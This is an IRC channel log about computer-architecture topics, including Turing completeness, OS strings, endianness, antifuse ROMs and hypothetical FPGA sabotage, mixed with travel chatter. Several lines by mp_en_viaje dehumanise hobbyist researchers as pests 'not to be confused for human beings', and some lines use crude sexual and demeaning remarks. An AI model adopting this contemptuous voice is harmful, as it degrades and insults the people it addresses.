1907407;1554720546;a111;Logged on 2019-04-06 12:41 OriansJ: Mocky: floating point support is part of being turing complete. We can either bitch about how bad it is (Like the old MIPS engineers) or accept the reality and figure out a why that costs us the least.
1907408;1554720573;mp_en_viaje;no particular datastructure is any part of turing completeness, what the heck is this!
1907409;1554720604;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907060 << well... it WAS bootstrap... keks.
1907410;1554720604;a111;Logged on 2019-04-06 12:46 Mocky: and in addition you suggested floating point as software addon. turing completeness can now be achieved after the fact!
1907411;1554720662;mp_en_viaje;i had to look up this "Nexus Intruder program class attack" ; remarkably i got nothing : https://duckduckgo.com/?q=%22Nexus+Intruder+program+class+attack.%22
1907412;1554720685;mp_en_viaje;i reallly dislike noun strings, espcially as the count goes over 3.
1907413;1554720786;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907063 << you'll have to explain this sometime.
1907414;1554720786;a111;Logged on 2019-04-06 12:48 OriansJ: Mocky: yes that was my point; floating point will either exist in hardware or software because of Turing completeness.
1907415;1554720904;mp_en_viaje;likbez : any machine that can simulate itself is turing-complete. the word "machine" is meant most abstractly, something as bare-bones as maths people would call "a function" could conceivably qualify. an ~imagined~ tape with a theoretically defined reading head associated eminently qualifies. and so on.
1907416;1554721016;mp_en_viaje;the fucking game of life is computationally universal for crying out loud.
1907417;1554721250;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907069 << no, but see, we discovered a significant disconnect here. we DO. NOT. SUPPORT. ANYTHING. fuck them all. there's no pseudo-"friendly" postelism contemplated, there's no incumbent desire or inclination to "provide" for a vague, imagined "audience" [http://trilema.com/2017/i-think-they-might-be-overdoing-it-in-places/#selection-97.159-97.389][clamoring] somewhere downstream.
1907418;1554721250;a111;Logged on 2019-04-06 12:59 OriansJ: Mocky: Don't get stuck on the idea of Floating point, it is just an example of classes of instructions that are complex to implement in hardware that a proper illegal instruction trap will allow us to move between hardware and software with no one else having to care what we are doing. As we want people programming to standards not to systems.
1907419;1554721294;mp_en_viaje;goodness is the only criteria. "users" really don't count for anything. let them learn.
1907420;1554721321;mp_en_viaje;which is precisely what "program to standards, not to systems" even means!
1907421;1554721431;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907079 << in retrospect it's not clear what specific vhs-dos we mean when we just say "dos" in such contexts, but i believe the "brain-operation-immune" part is central -- can delete modules w/o "reboot".
1907422;1554721431;a111;Logged on 2019-04-06 21:48 asciilifeform: http://btcbase.org/log/2019-04-05#1907021 << 'dos' as typically discussed here is simply shorthand for 'os that fits in coupla kB and gets the fuck out of the way and speaks only when spoken to' , roughly
1907423;1554721471;mp_en_viaje;actually has no clear notion of "reboot", i suppose is the true characteristic here, hence the original virii/tsr's. ~kernel modules, ipso facto.
1907424;1554721492;mp_en_viaje;we liked specifically the analogic quality of it.
1907425;1554721497;mp_en_viaje;that* "analogic".
1907426;1554721513;mp_en_viaje;though i suspect this still doesn't cover it.
1907427;1554721639;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907081 << i opted to let that pass in silence, too much work to open the can from that seam. but... yeah, no fucking strings, not ever again.
1907428;1554721639;a111;Logged on 2019-04-06 21:49 asciilifeform: http://btcbase.org/log/2019-04-05#1907023 << whytheFUCK wouldja want the nullterm-string warcrime to exist on a brand-new arch ?
1907429;1554722099;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907101 << why ? consider the problem of http://btcbase.org/log/2018-11-04#1869285 ; what ELSE is supposed to be an os primitive ? maybe, code colorization too ? maybe the os should have a native concept of "what the data means to you" ?
1907430;1554722099;a111;Logged on 2019-04-06 23:07 OriansJ: asciilifeform: no where did I say null terminated strings; it could be length prefixed strings but support for strings needs to exist in a human readable bootstrap.
1907431;1554722099;a111;Logged on 2018-11-04 23:13 mircea_popescu: IF you can't configure your termina, either get a better one or understand you're at fault for your own pain.
1907432;1554722119;mp_en_viaje;there's entirely no need of "utf/unicode/bs" ; the place where these go, as a mask atop bytes, is where "strings
1907433;1554722151;mp_en_viaje;" belong. you wish a bitstream to appear a certain way on yoru terminal, step right up, ~adjust your terminal~.
1907434;1554722170;mp_en_viaje;it makes about as much sense to have os strings as it does to have os bitmaps.
1907435;1554722742;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907109 << liters natively typecast into cubic decimeters!!!! BY DESIGN!
1907436;1554722742;a111;Logged on 2019-04-06 23:11 asciilifeform: and liters into metres
1907437;1554722909;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907115 << list them sometimes ; the agreed upon explanation here is that it's purely coincidental, much in the vein of [http://trilema.com/2011/europa-crestina-si-alte-aberatii/][christianity and european civilisation] or [http://trilema.com/2014/modern-medicine-and-the-benefits-of-democracy/]["modern democracy" and prosperity].
1907438;1554722909;a111;Logged on 2019-04-06 23:13 OriansJ: There are very good reasons why typed memory systems appeared after high level languages did.
1907439;1554722996;mp_en_viaje;specifically : just as ~any other idiocy~, carried by the high tide of industrialisation, would have just as falsely appeared just as successful as "modern democracy", and just as ~any other idiocy~, carried by the high tide of european stock, would have jus tas falsely appeared just as fundamental as xtianity, just so any attempt at computer design in the period of not-really-having-electronics'd have ended up braindamaged.
1907440;1554723053;mp_en_viaje;there's a reason early airplanes "flew" rattan bodies on denim wings, and it ain't to do with science. it's just that aluminum machining comes once there's a reason for it, not before.
1907441;1554723289;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907141 << im not so sure the generalized problem is that interesting. he has a solid point, "are you kidding me, i can identify your ethernet stack with a fucking pickup needle".
1907442;1554723289;a111;Logged on 2019-04-06 23:26 asciilifeform: the puzzler concerns 'general purpose' sabotaged fpga, rather than case where you know what the victim intends to connect and what protocols etc
1907443;1554723318;mp_en_viaje;this goes directly into HOW idiotic hoop-jumping complexity serves & reinforces empire. because it does, and looky how!
1907444;1554723405;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907145 << this is a more doubtful claim. what patterns, tcp/ip ?
1907445;1554723405;a111;Logged on 2019-04-06 23:30 OriansJ: asciilifeform: well some of these patterns are universally useful and will exist even in Sane Iron systems
1907446;1554723459;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907151 << go into why, sometime.
1907447;1554723459;a111;Logged on 2019-04-06 23:35 OriansJ: Let us just assume the FPGA was not compromised and leverage it for the bootstrap work at this stage (I'll be going to pure LibreSilicon before I am finished but hey to each their own)
1907448;1554723518;mp_en_viaje;(in fairness -- the why not is that by now bitter experience with all sorts of "libre" dorks has clearly shown they function as an imperial decoy and ~nothing else. i can't distinguish between "3d printing" sintered "guns", raspberry pi bullshit, and any other such item).
1907449;1554723535;mp_en_viaje;it's enthusiwank.
1907450;1554723655;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907157 << so far all that's actually been decided is the rng source (no, no tpossible to have sane iron w/o rng).
1907451;1554723655;a111;Logged on 2019-04-06 23:37 OriansJ: So, perhaps the most important question what has been actually decided about Sane Iron and what still needs definition?
1907452;1554723769;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907163 << intel sez exactly http://trilema.com/2014/bitcoin-in-argentina-exactly-nothing-to-do-with-the-derps/#selection-197.0-197.39 item.
1907453;1554723769;a111;Logged on 2019-04-06 23:40 asciilifeform: looking at the 'process steps' docs in the linked page, it seems to be a straight wikipedization of ordinary schoolbook description of ic fab process
1907454;1554724305;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907171 << but a guide written by the blind. there's some very drastic limits to "good intentions", and ESPECIALLY to self-awarded "good intentions", you must understand. the best of intention do not permit a bunch of poor kids from rural idaho to write a half-useful (ie, useful in more than 50% of cases) munchen subway map.
1907455;1554724305;a111;Logged on 2019-04-06 23:44 OriansJ: asciilifeform: It is a guide for groups of people to pool together resources and setup a 1 micrometer fab to generate trusted chips. Yes it is far from optimal but it is a step in the right direction.
1907456;1554724305;mp_en_viaje;moreover, and overwhelmingly important, some duning-krugerands retarded enough to not understand that their cunt map they made (coming from the same place their "let's make a pact to get laid before highschool starts" "pact" came, ie, complete insanity and a ridiculously nonsensical worldview, wherein they're magically the only agents, and the world exists on the basis of their mental processes and in no other way, notwithstanding the obvious probl
1907457;1554724306;mp_en_viaje;em with this theory -- namely that they're agreeing to get laid ~even now~ and apparently their agreement still dun do jack shit, so maybe something else is the controlling factor ?) carries less utility than the clean paper they started with can assign ~themselves~ "good intentions" until they're blue in the face, for all the difference it makes. they're still ~ill intended~ blotter paper bandits, exactly like weevils.
1907458;1554724311;mp_en_viaje;for all you know weevils think they're eating your rice with the best of intentions. and termites, and cockroaches, and all other pests. because your shit tastes good, and they like good stuff, and so of course it's all with the good intentions ? no ?
1907459;1554724380;mp_en_viaje;30 yo dorks with a weird beard, living in cramped, shared, squalid accomodations and "preparing a phd" aren
1907460;1554724386;mp_en_viaje;t to be confused for human beings.
1907461;1554724478;mp_en_viaje;and so no, it is very much not a step, directions indifferent. it's a nonstep, very specifically what kanzure is famous for here -- nonsteps like these can readily take decades and deliver 0. exactly like masturbation (which the whole exercise precisely and transparently is, masturbation for the erectile dysfunctional).
1907462;1554724574;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907179 << that's ok, the republic recognizes no patents.
1907463;1554724574;a111;Logged on 2019-04-06 23:46 OriansJ: asciilifeform: honestly, the chemicals and the patents are still a mess in that field plus the never could produce a chip that could exceed 100khz
1907464;1554724687;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907184 << who's the "we" here ?
1907465;1554724687;a111;Logged on 2019-04-06 23:48 OriansJ: asciilifeform: well we can either wait for others to perform miracles or we can get off our asses and make them for the world to see.
1907466;1554724711;mp_en_viaje;pointedly : is there anyone besides you tryna work on this M-whatever thinge ?
1907467;1554724751;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907194 << ouch.
1907468;1554724751;a111;Logged on 2019-04-06 23:53 OriansJ: No results on DDG
1907469;1554724845;mp_en_viaje;https://duckduckgo.com/?q=bolix+ivory << top hit, of course... the one, the only, the true etcetera. [http://archive.is/T11vB][last year]'s vintage, too.
1907470;1554725035;mp_en_viaje;http://btcbase.org/log/2019-04-06#1907201 << jesus chryst, stop with the we. and yes, you do, because http://btcbase.org/log/2017-08-21#1701489
1907471;1554725035;a111;Logged on 2019-04-06 23:57 OriansJ: asciilifeform: we don't need cycle-accurate; we just need good enough to be able to write the pieces that will run on it directly
1907472;1554725035;a111;Logged on 2017-08-21 14:43 phf: i spent (mostly another whisperer and myself did) on getting vlm stable, and i'm unconvinced that some of the issues we encountered were purely "buggy vlm". there is, for example, a crash in floating point instruction that happens when you load document examiner on stock piratebay opengenera. i have no explanation for it still, because vlm code ~seems to do the right thing~. there are other similar instances
1907473;1554725087;mp_en_viaje;shit's undebuggable without, what.
1907474;1554725197;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907209 << it's not effective for you, personally. this is deliberate, because we deliberately do not wish to support the "foss ethos", so to call this contemporaneous impudence where sophomore medical school students expect to walk into operating theatres and start cutting on bodies as they lay on operating tables.
1907475;1554725197;a111;Logged on 2019-04-07 00:00 OriansJ: asciilifeform: that is not an effective mechanism of documentation reference
1907476;1554725263;mp_en_viaje;you wish to meaningfully participate, there's the http://trilema.com/2013/youre-gonna-have-to-learn-that-variety-speak/ step in your way. so, to put it quite bluntly, it is the ~only~ ffective mechanism of documentation reference, ~specifically because~ it denies access to rando "i think i'm s-m-r-t
1907477;1554725335;mp_en_viaje;that's what effective means, preventing the uncommitted. http://trilema.com/2013/the-disadvantage-of-teaching-people-the-alphabet-and-nothing-more-is-that-you-have-to-somehow-put-up-with-a-bunch-of-retards-that-can-now-express-themselves-in-writing/ and all that.
1907478;1554725374;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907211 << you
1907479;1554725374;a111;Logged on 2019-04-07 00:01 OriansJ: asciilifeform: which is fine if you expect to only work alone and have the work lost in the sands of time.
1907480;1554725556;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907211 << you're being simply ridiculous. the only one who's in no danger of that is him. the one currently suffering from it, is you. don't be the guy with pellagra going about telling the furst of schwarzburg an' the count palatine of blois / lord elector of bavaria about "how to avoid pellagra". for one thing, they can't get it, they eat meat.
1907481;1554725556;a111;Logged on 2019-04-07 00:01 OriansJ: asciilifeform: which is fine if you expect to only work alone and have the work lost in the sands of time.
1907482;1554725740;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907214 << o.O
1907483;1554725740;a111;Logged on 2019-04-07 00:04 OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed
1907484;1554725750;mp_en_viaje;is this the first time btw ?
1907485;1554725756;mp_en_viaje;somehow it's the first time in my memory.
1907486;1554725817;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907216 << mostly, i told bvt to invite him over, i expect. http://btcbase.org/log/2019-03-26#1904872
1907487;1554725817;a111;Logged on 2019-04-07 00:04 asciilifeform: i cannot resist to ask OriansJ , what exactly then is he doing here ?
1907488;1554725817;a111;Logged on 2019-03-26 20:07 mircea_popescu: bvt, so put the matter to him plainly, "look, the republic is considering this, either come over and make your case or what d oyou want to do" ?
1907489;1554725999;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907247 << i confess the wikilinks irritated me also.
1907490;1554725999;a111;Logged on 2019-04-07 00:22 asciilifeform: BingoBoingo: quick on the trigger finger today aintcha
1907491;1554726014;mp_en_viaje;!!up OriansJ
1907492;1554726015;deedbot;OriansJ voiced for 30 minutes.
1907493;1554726021;mp_en_viaje;apparently dood can no longer self voice huh.
1907494;1554726033;*;mp_en_viaje had no idea this progressed so well.
1907495;1554726145;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907271 << i suspect he cribbed it from trilema, which has the ~same gracefully-degrading js-dropbox.
1907496;1554726145;a111;Logged on 2019-04-07 00:34 OriansJ: the javascript requirement is a bit odd though for the patches page
1907497;1554726585;PeterL;bingoboingo: http://p.bvulpes.com/pastes/WVdLq/?raw=true
1907498;1554726636;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907276 << as a factual matter, it seems to work fine without javascript : http://browsershots.org/http://btcbase.org/patches?patchset=v ; it does not however work fine on broken browsers, which admittedly is quite the overwhelming majority of all browsers however counted.
1907499;1554726636;a111;Logged on 2019-04-07 00:36 OriansJ: asciilifeform: I've hit http://btcbase.org/patches?patchset=v and no it doesn't display without javascript enabled
1907500;1554726653;PeterL;!!invoice BingoBoingo 0.114 Pizarro WFF Auction 8Apr2019
1907501;1554726663;mp_en_viaje;oh, and then there's phf saying the same thing himsefl.
1907502;1554726665;deedbot;Get your OTP: http://p.bvulpes.com/pastes/wstgr/?raw=true
1907503;1554726685;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907295 << lol, and then the kekscavalry lands.
1907504;1554726685;a111;Logged on 2019-04-07 11:08 OriansJ: phf: Tor-browser paranoid mode for reference
1907505;1554726729;PeterL;!!v D608701B84AFC7FBA9C13E1761C9DA34C547636850AE4670EDB7A55C4E9C19BE
1907506;1554726733;deedbot;Invoiced BingoBoingo 0.114 << Pizarro WFF Auction 8Apr2019
1907507;1554726762;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907304 << this is not a bad option lol, we do this exact thing alllll the damn time. how the hell else ?
1907508;1554726762;a111;Logged on 2019-04-07 12:01 OriansJ: now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches.
1907509;1554726904;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907307 << the map his vpatch viewer spits out should work with that subset ; so should something like http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.html ; if you don't see a circle of links under the fingerprint, i expect your "subset of svg" is actually not functional on some level. though as he says, the actual possibility of having such a custom svg is dubious altogeter.
1907510;1554726904;a111;Logged on 2019-04-07 12:17 OriansJ: phf: short version SVG that only supports lines and text but not SVG Animation or any of the other fun extras.
1907511;1554726991;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907308 << not to mention a) insulting and b) counterproductive. whenever you say something dumbly you steal from the smart, to give to the dumb. this is both shameful, ie ethically wrong, and evil, ie, morally wrong. if you've decided to steal, always steal from the dumb to give to the smart. they make much better friends.
1907512;1554726991;a111;Logged on 2019-04-07 13:24 phf: OriansJ: so i've thought about it, expressing concepts in forms for general consumption is a bad coping mechanism from a life time of being the smartest person in the room (assuming that it's not a ruse or self-delusion and you _are_ actually capable of clear thinking). problem is that it makes you lazy and rots the brain, and then when you're in the room of equals or superiors you suddenly discover that you're not practiced at
1907513;1554727089;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907311 << yes, everything in the republic bootstraps naturally and self-evidently, because naturally and self-evidently IT WAS DELIBERATELY BUILT TO.
1907514;1554727089;a111;Logged on 2019-04-07 16:04 asciilifeform: http://btcbase.org/log/2019-04-07#1907304 << i formerly thought that this was obvious from the [http://btcbase.org/log/2019-04-07#1907263][docs] , but you ~can~ operate on vpatches without a vtron ( they're edible by trad. unix 'patch' util, and you can verify the sigs with anyffin roughly gpg-like , also by hand )
1907515;1554727095;mp_en_viaje;*drumroll*
1907516;1554727211;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907332 << yeah huh, maybe this is starting to work!
1907517;1554727211;a111;Logged on 2019-04-07 21:48 BingoBoingo: Quite a lot of bidding this month
1907518;1554727227;mp_en_viaje;http://btcbase.org/log/2019-04-07#1907333 << kinda how it's supposed to go, really.
1907519;1554727227;a111;Logged on 2019-04-07 21:57 PeterL: seems to be a function of how far from the price listed elsewhere that you start it
1907520;1554727257;mp_en_viaje;o check me out! caught up on logs! whooo!
1907521;1554727289;*;mp_en_viaje is getting kinda tired of this chair, will mosy along now, but fully intends to check back in either later today or more likely tomorrow.
1907522;1554734797;asciilifeform;http://btcbase.org/log/2019-04-08#1907493 << pretty sure he still can ; rather, ran off
1907523;1554734797;a111;Logged on 2019-04-08 12:20 mp_en_viaje: apparently dood can no longer self voice huh.
1907524;1554734841;asciilifeform;!!gettrust OriansJ
1907525;1554734842;deedbot;L1: 1, L2: 1 by 1 connections.
1907526;1554735001;asciilifeform;http://btcbase.org/log/2019-04-08#1907359 << mostly back in biz nao, ty
1907527;1554735001;a111;Logged on 2019-04-08 09:18 mp_en_viaje: btw, how's the cold asciilifeform ?
1907528;1554735085;asciilifeform;http://btcbase.org/log/2019-04-08#1907362 << funnily enuff, asciilifeform not long ago did the ~quarterly walk of parts catalogues, 'can haz genuine antifuse eprom?' (spoiler : 'nope' just like since when started lookin' in 2013 )
1907529;1554735085;a111;Logged on 2019-04-08 09:33 mp_en_viaje: http://btcbase.org/log/2019-04-05#1907031 << one actually wants to have an [http://btcbase.org/log-search?q=antifuse][antifuse] boot rom, yes.
1907530;1554735121;asciilifeform;i.e. you can buy all the 'otp eprom' you want, but they're ALL ordinary flash with the write pin (promisetronically) nonworking
1907531;1554735226;asciilifeform;last i dun into subj in depth, formed impression that usg may have exterminated (and swallowed the bones of) all extant makers of antifuse rom, in early '90s . on acct of the intrinsic radiation resistance of antifuse vs flash.
1907532;1554735230;asciilifeform;*dug into
1907533;1554735405;asciilifeform;http://btcbase.org/log/2019-04-08#1907383 << i entirely agree ( tho last we had this thrd, mircea_popescu didn't... http://btcbase.org/log/2018-01-25#1776201 )
1907534;1554735405;a111;Logged on 2019-04-08 09:57 mp_en_viaje: http://btcbase.org/log/2019-04-05#1907026 << i can't conceive what small endian ~even is for~. what is it for ? i'm against even supporting it altogether, you want to computer, use a computer that netowrk oders.
1907535;1554735405;a111;Logged on 2018-01-25 16:52 asciilifeform: mircea_popescu: re the 'guillotine neck vs mandible', if it ain't obvious, i'll spell it out ftr : bigendian nums look 'ffaistic' when hexdumped, i.e. correct . littleendian -- you gotta mentally flip'em.
1907536;1554735463;asciilifeform;bigendian is sadly ~extinct on extant market iron tho. to the point that i haven't even a working one in torture room to test on presently.
1907537;1554735578;asciilifeform;http://btcbase.org/log/2019-04-08#1907377 << they're ~all~ like this nao ('want guarantee -- go pay for freight container') , found this when doing piz expedition
1907538;1554735578;a111;Logged on 2019-04-08 09:47 mp_en_viaje: but! c) i show up, explain i got 3 people but ~200kgs of luggage (i'm fucking diana ross over here) and their idea was to.... pay for ticket, after which show up at airport, ~with no carrier guarantee whatsoever~. "pay us so many thousands to put yourself in such a spot, we can ask for any moar moneyz we think of".
1907539;1554735693;asciilifeform;http://btcbase.org/log/2019-04-08#1907441 << i'ma come back to this some time we both have a whole hour, it deserves own thrd ( and possibly -- article )
1907540;1554735693;a111;Logged on 2019-04-08 11:34 mp_en_viaje: http://btcbase.org/log/2019-04-06#1907141 << im not so sure the generalized problem is that interesting. he has a solid point, "are you kidding me, i can identify your ethernet stack with a fucking pickup needle".
1907541;1554735755;asciilifeform;http://btcbase.org/log/2019-04-08#1907456 << linked item is a hybrid of exactly this, and ye olde 'stone soup'
1907542;1554735755;a111;Logged on 2019-04-08 11:51 mp_en_viaje: moreover, and overwhelmingly important, some duning-krugerands retarded enough to not understand that their cunt map they made (coming from the same place their "let's make a pact to get laid before highschool starts" "pact" came, ie, complete insanity and a ridiculously nonsensical worldview, wherein they're magically the only agents, and the world exists on the basis of their mental processes and in no other way, notwithstanding the obvious probl
1907543;1554735797;asciilifeform;and what's moar, i've seen ~same nonsense pop up again an' again. 'we'll describe how satellite is launched , for audience of 8 y.o., this will SURELY put us closer to actually launching one' etc
1907544;1554738320;diana_coman;closer to feeling like launching one, most probably the whole point anyway.
1907545;1554739674;asciilifeform;diana_coman: tlp had the piece re 'they get faux-brokerage acct to Feel Like a Trader'
1907546;1554740990;PeterL;recently I saw an ad for some brokerage service, they actually included as one of the selling points "you can feel like a trader!"
1907547;1554741046;asciilifeform;lol! 'parody horizon'(tm)
1907548;1554741375;diana_coman;well, quite logical since muh feelings' so important, after all.
1907549;1554741502;diana_coman;not to mention that being/doing something ~always costs something while feelin' like it costs ~nothing, so no surprise really.
1907550;1554741538;mp_en_viaje;ha-HA!
1907551;1554741538;asciilifeform;ohai mp_en_viaje !
1907552;1554741540;mp_en_viaje;coffee tour!
1907553;1554741555;diana_coman;onth I can't see anything wrong in adding "feel like x" to a pizarro add if that does anything
1907554;1554741603;diana_coman;heh, this time in the civilised world where they actually have coffee houses?
1907555;1554741654;mp_en_viaje;yes.
1907556;1554741699;mp_en_viaje;im like five-six hundred in, buying cappuccinos five bux at a time. and i'm not even spent yet!!
1907557;1554741709;asciilifeform;oh apropos of mp_en_viaje's luggage : http://btcbase.org/log/2017-03-14#1627027 oblig
1907558;1554741709;a111;Logged on 2017-03-14 17:41 asciilifeform: reminds me of a folk story from late '50s. shah of iran and his wife went to visit su. she, of course, takes entire household!111 literally, furniture and all, in classic eastern tradition;
1907559;1554741739;mp_en_viaje;i packed a few whips and other irreplaceable leather etc torture/domestic implements. but no actual furniture.
1907560;1554741746;mp_en_viaje;>5lbs of costume jewelry tho.
1907561;1554741777;asciilifeform;hey that 200 is only 2x asciilifeform's 100 lol
1907562;1554741799;asciilifeform;and i had to lug that 100 up the stairs in oddball BingoBoingostani hotel where 'want lift? here's some stairs to it'
1907563;1554741823;mp_en_viaje;you know ? and you were by self!
1907564;1554741829;mp_en_viaje;i just make the women lug it.
1907565;1554741838;asciilifeform;funnily enuff, hotel gurl 'offered to help'
1907566;1554741853;mp_en_viaje;and you deck lined ?!
1907567;1554741857;diana_coman;I thought that was exactly what hotel porters were for though, hm
1907568;1554741858;asciilifeform;she must've weighed half of what 1 of the trunks weighed. so declined
1907569;1554741876;asciilifeform;didn't want to break an otherwise perfectly working aboriginal gurl
1907570;1554741895;asciilifeform;diana_coman: believe or not, they had no porter or anyffing resembling.
1907571;1554741904;asciilifeform;nor a ramp even.
1907572;1554741955;asciilifeform;otoh a healthy d00d oughta imho be able to carry 100kg+ a reasonably small distance
1907573;1554742004;mp_en_viaje;the problem was not moving it back an' forth ; but the dorky airlines giving up on life.
1907574;1554742109;asciilifeform;incidentally even 'copa air' -- the only, afaik, co that was even willing to offer 100kg-per-man ~for extra charge~ -- still did not offer guarantee that they'd actually ~take~ the cargo ( answrd 'show up with it and ~probably~ it will get loaded , i.e. roulette )
1907575;1554742150;asciilifeform;that one only does the americas tho, i cannot currently comment re europistani carriers
1907576;1554742224;mp_en_viaje;http://btcbase.org/log/2019-04-08#1907533 << http://btcbase.org/log/2018-01-25#1776189 um ?
1907577;1554742224;a111;Logged on 2019-04-08 14:56 asciilifeform: http://btcbase.org/log/2019-04-08#1907383 << i entirely agree ( tho last we had this thrd, mircea_popescu didn't... http://btcbase.org/log/2018-01-25#1776201 )
1907578;1554742224;a111;Logged on 2018-01-25 16:42 asciilifeform: i dun actually disagree with mircea_popescu : i never liked bigendianism . but it did come from a particular cost analysis , ftr.
1907579;1554742247;mp_en_viaje;seems more like we agreed on something or the other last time, and we agree on something or the other this time, except the things themselves may be bitflipped.
1907580;1554742269;asciilifeform;mp_en_viaje: i suggest to look again at the endianisms , so to remember which 1 it was that you barfed on
1907581;1554742310;asciilifeform;me, the moar i work with arithmetics, the moar plus i see to the 'big' (where 'bignums' are printed correctly when raw hexdumped )
1907582;1554742344;mp_en_viaje;anyway, as far as im personally concerned between mar 2019 and jan 2018 there intervened a lot of eulora-related endianism sads. incl the celebrated http://ossasepia.com/2018/02/08/eucrypt-chapter-9-byte-order-and-bit-disorder-in-keccak/
1907583;1554742354;mp_en_viaje;asciilifeform, me2, in so many words.
1907584;1554742354;asciilifeform;tho at the risk of replaying the ancient thrd, if you prohibit byte-addressing , you lose the 'endianism' wank thereby
1907585;1554742370;asciilifeform;( e.g. ffa, is none-endian )
1907586;1554742401;mp_en_viaje;asciilifeform, i think i barfed at "nUxi", which is not, properly speaking, any particular endianism but the necessary and equivalent result of mixing.
1907587;1554742433;asciilifeform;there were actually iron makers demented enuff to actually bake that. iirc ibm.
1907588;1554742443;asciilifeform;'middle endian'
1907589;1554742509;mp_en_viaje;http://btcbase.org/log/2019-04-08#1907539 << i got an hourish
1907590;1554742509;a111;Logged on 2019-04-08 15:01 asciilifeform: http://btcbase.org/log/2019-04-08#1907441 << i'ma come back to this some time we both have a whole hour, it deserves own thrd ( and possibly -- article )
1907591;1554742535;asciilifeform;metoo
1907592;1554742539;mp_en_viaje;though we're on the 4th cup at this table... i guess if it runs long ima invoice you for nicole's coffeegreed
1907593;1554742553;asciilifeform;i'ma see if it can be tamped into 20m, lol
1907594;1554742557;mp_en_viaje;lol
1907595;1554742739;mp_en_viaje;http://btcbase.org/log/2019-04-08#1907543 << the sad results of the "show and tell" pseduo-school culture. "it's more important to get kids talking than to get them to have something to say"
1907596;1554742739;a111;Logged on 2019-04-08 15:03 asciilifeform: and what's moar, i've seen ~same nonsense pop up again an' again. 'we'll describe how satellite is launched , for audience of 8 y.o., this will SURELY put us closer to actually launching one' etc
1907597;1554742757;mp_en_viaje;this, incidentally, has a romanian name, from the 1800s, when the romanians invented it. "teoria formerlor fara fond"
1907598;1554742807;asciilifeform;item was re 'what computing device offers least room in which to hide a mine when you buy it from enemy'. asciilifeform contends that the moar homogeneous the fabric, the moar difficult to interestingly hide a useful mine. i.e. if you wanted to sell the victim an sram that replaces e.g. mp_en_viaje's pubkey with gavin's whenever it is loaded therein, the resulting device will look quite diff even on optical microscope (not even speak
1907599;1554742807;asciilifeform;ing of xray or neutronograph etc) vs 'honest'.
1907600;1554742849;mp_en_viaje;this much is true. but the point can not be easily avoided that in fact the use you intend to put that fabric to is ~not~ homogenuous. at all.
1907601;1554742873;asciilifeform;the 2nd contention of asciilifeform's , is that the moar room victim has to permute ~his~ intended contents, the moar painful the job of the one laying the mine.
1907602;1554742897;asciilifeform;mp_en_viaje: this is correct and is isomorphic to above.
1907603;1554742906;mp_en_viaje;this may also be true, but the true constraint is the relative height of the previous objection. inasmuch as your ethernet stack looks like an ethernet stack, you're not hiding it.
1907604;1554742934;mp_en_viaje;you know the joke about the guy who thought "the more places i have to hide this alarm clock in, the better chances to escape with it" ? "what if it rings ?"
1907605;1554743025;asciilifeform;mp_en_viaje: the q is not whether a human reverser can find nic stack with his eyes, but whether you can stuff a robotic 'finder-diddler' of same into general-purpose sea of gates fabric , and still have item that passes inspection (incl. having the expected homogeneous propagation delays b/w the gates)
1907606;1554743052;mp_en_viaje;the correct modelling of hiding an alarm clock (slash thorium bar slash live slavegirl slash angry ferret etc) is not a naive linear extension of captain koons' clever watch hiding techniques.
1907607;1554743088;mp_en_viaje;asciilifeform, the problem is not necessarily the problem you wanna focus on.
1907608;1554743099;asciilifeform;asciilifeform's fg test process for freshly-received boards, for instance, included an (unpublished, and won't be published any time soon) set of test circuits for the fpga , that characterized the propagation delays.
1907609;1554743122;mp_en_viaje;right.
1907610;1554743168;asciilifeform;observe that you can't do this for, say, cpu (even the simplest 1980s 8bit micros had all sortsa oddball unpredictability re context-dependent electrical characteristics)
1907611;1554743182;mp_en_viaje;the problem remains though -- yes, perhaps in the formulation of "hide it i nfabric", the deeply imperial nature of X Y Z may be irrelevant. nevertheless,
1907612;1554743184;mp_en_viaje;it is fucking there.
1907613;1554743217;mp_en_viaje;in short, we're not disagreeing about the same thing.
1907614;1554743290;asciilifeform;mp_en_viaje: it is entirely possible to sabotage fpga in the e.g. 'philips light bulb' sense, where it burns out after 5000 hrs. or shorts + to - erry month. or similar. these are 'physical' sabotages, and imho uninteresting because indistinguishable from simply shoddy part. the interesting hypothetical mine is a ~logical~ mine.
1907615;1554743334;asciilifeform;i.e. where the part is for all purposes a working one, except in specific condition known to enemy apriori
1907616;1554743341;mp_en_viaje;i'll give you an example if you promise to not focus on the example.
1907617;1554743357;asciilifeform;aite
1907618;1554743403;asciilifeform;keep in mind plox that the 'mine' cannot be bigger than the intended 'mine field' tho.
